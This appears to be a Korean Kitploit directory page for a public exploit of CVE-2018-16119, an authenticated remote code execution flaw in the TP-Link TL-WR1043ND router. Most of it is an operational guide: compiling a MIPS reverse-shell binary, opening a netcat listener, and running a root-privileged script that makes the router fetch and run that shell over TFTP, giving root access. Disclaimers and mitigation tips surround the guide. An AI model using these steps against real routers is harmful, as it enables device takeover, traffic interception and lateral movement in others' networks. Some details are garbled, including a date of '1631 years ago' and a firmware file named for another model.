Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-16119 — TP-Link TL-WR1043ND - 인증된 원격 코드 실행 | Kitploit
도구/GitHubGitHub/hdbreaker/cve-2018-16119
Embedded Systems SecurityIoT SecurityExploitationWeb Application ExploitationPenetration TestingHardware SecurityLearning & EducationRed TeamingPayload Development
GitHubhdbreaker/cve-2018-16119

CVE-2018-16119

TP-Link TL-WR1043ND - 인증된 원격 코드 실행

1631년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기웹사이트

CVE-2018-16119: TP-Link WR1043ND 인증된 원격 코드 실행 취약점

개요

CVE-2018-16119는 TP-Link TL-WR1043ND 라우터에 영향을 주는 심각한 인증된 원격 코드 실행 취약점입니다. 이 취약점으로 인해 인증된 공격자는 대상 장치에서 루트 권한으로 임의의 명령을 실행할 수 있으며, 잠재적으로 시스템 전체를 완전히 장악할 수 있습니다.

CVE 세부 정보: CVE-2018-16119

취약점 영향

  • 공격 경로: 네트워크
  • 공격 복잡도: 낮음
  • 필요 권한: 낮음 (인증 필요)
  • 사용자 상호작용: 없음
  • 범위: 변경됨
  • 영향: 장치의 기밀성, 무결성 및 가용성 완전 손상

악용에 성공하면 공격자는 라우터에 대한 루트 셸 접근 권한을 획득하여 다음을 수행할 수 있습니다:

  • 라우터 구성 변경
  • 네트워크 트래픽 모니터링
  • 수평적 이동을 위한 피벗 포인트로 장치 사용
  • 영구 백도어 설치
  • 네트워크 연결 중단

영향을 받는 장치

  • TP-Link TL-WR1043ND (다수 펌웨어 버전)
  • 유사한 펌웨어를 사용하는 기타 TP-Link 장치

사전 요구 사항

시스템 요구 사항

  • 루트 권한이 있는 Linux 호스트 (포트 69에서 TFTP 서버 실행에 필요)
  • Docker (크로스 컴파일용)
  • 대상 장치에 대한 네트워크 연결
  • 대상 라우터의 유효한 인증 자격 증명

종속성

root@kitploit:~
# Install required packages
sudo apt-get update
sudo apt-get install netcat docker.io

악용 가이드

1단계: 리버스 셸 페이로드 컴파일

이 익스플로잇에는 MIPS 빅엔디안 리버스 셸 바이너리가 필요합니다. 다음 단계에 따라 컴파일하십시오:

root@kitploit:~
# Copy the source code to /tmp
cp exploit/tftp_server/reverse_shell_mipsbe.c /tmp/

# Use Docker container with MIPS cross-compilation tools
docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash

Docker 컨테이너 내부에서:

root@kitploit:~
cd /tmp
mips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shh

Docker를 종료하고 컴파일된 바이너리를 복사합니다:

root@kitploit:~
cp /tmp/shh exploit/tftp_server/

2단계: 리버스 셸 리스너 설정

터미널을 열고 포트 9669에서 netcat 리스너를 시작합니다:

Linux:

root@kitploit:~
nc -l -p 9669 -vv

macOS:

root@kitploit:~
nc -l 9669 -vv

3단계: 익스플로잇 실행

루트 권한으로 익스플로잇 스크립트를 실행합니다 (TFTP 서버에 필요):

root@kitploit:~
sudo python3 exploit/exploit.py

스크립트는 다음을 수행합니다:

  1. 대상 라우터에 인증
  2. 포트 69에서 TFTP 서버 시작
  3. 취약점을 악용하여 리버스 셸 다운로드 및 실행
  4. 리스너로의 역방향 연결 설정

4단계: 셸과 상호작용

연결이 설정되면:

  • 라우터에 대한 루트 접근 권한을 얻게 됩니다
  • 처음에는 자세한 출력이 표시되지 않습니다
  • 셸과 상호작용하려면 명령어 입력을 시작하기만 하면 됩니다

프로젝트 구조

root@kitploit:~
CVE-2018-16119/
├── exploit/
│   ├── exploit.py              # Main exploit script
│   ├── requirements.txt        # Python dependencies
│   ├── notes.txt              # Additional notes
│   └── tftp_server/
│       ├── reverse_shell_mipsbe.c  # Reverse shell source code
│       └── shh                     # Compiled MIPS binary
├── firmware/
│   └── wr740nv4_webrevert.bin     # Sample firmware
├── squashfs-root/                  # Extracted firmware filesystem
└── README.md                       # This file

보안 고려 사항

책임 있는 공개

이 취약점은 책임 있는 방식으로 공개되었으며 다음 용도로만 사용해야 합니다:

  • 승인된 침투 테스트
  • 통제된 환경에서의 보안 연구
  • 교육 목적

법적 고지

⚠️ 경고: 이 익스플로잇은 교육 및 승인된 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다. 사용자는 이 도구를 사용하기 전에 적절한 승인을 받았는지 확인할 책임이 있습니다.

완화 권장 사항

  • 최신 펌웨어 버전으로 업데이트
  • 기본 관리 자격 증명 변경
  • 필요하지 않은 경우 원격 관리 비활성화
  • 네트워크 분할 구현
  • 의심스러운 네트워크 활동 모니터링

종속성

Python 요구 사항 설치:

root@kitploit:~
pip3 install -r exploit/requirements.txt

문제 해결

일반적인 문제

TFTP 서버 권한 거부:

  • 스크립트가 루트 권한으로 실행되는지 확인
  • 포트 69가 이미 사용 중이지 않은지 확인

연결 실패:

  • 대상에 대한 네트워크 연결 확인
  • 인증 자격 증명이 올바른지 확인
  • 방화벽 설정 확인

셸 응답 없음:

  • 셸이 초기화되는 데 시간이 걸릴 수 있습니다
  • Enter 키를 누르거나 id 또는 pwd 같은 기본 명령어를 입력해 보십시오

연구 및 개발

이 연구는 임베디드 장치 펌웨어의 심각한 보안 결함을 입증합니다. 이 취약점은 다음의 중요성을 강조합니다:

  • 임베디드 시스템의 안전한 코딩 관행
  • IoT 장치의 정기적인 보안 감사
  • 적시의 펌웨어 업데이트 및 패치 관리

참조

  • CVE-2018-16119 공식 항목
  • TP-Link 보안 권고

연락처 및 기여자

연구자: Alejandro Parodi
트위터: @hdbreaker
링크드인: Alejandro Parodi


이 연구는 교육 목적과 임베디드 시스템의 보안을 개선하기 위해 수행되었습니다. 책임감 있게 사용하십시오.

도구 다운로드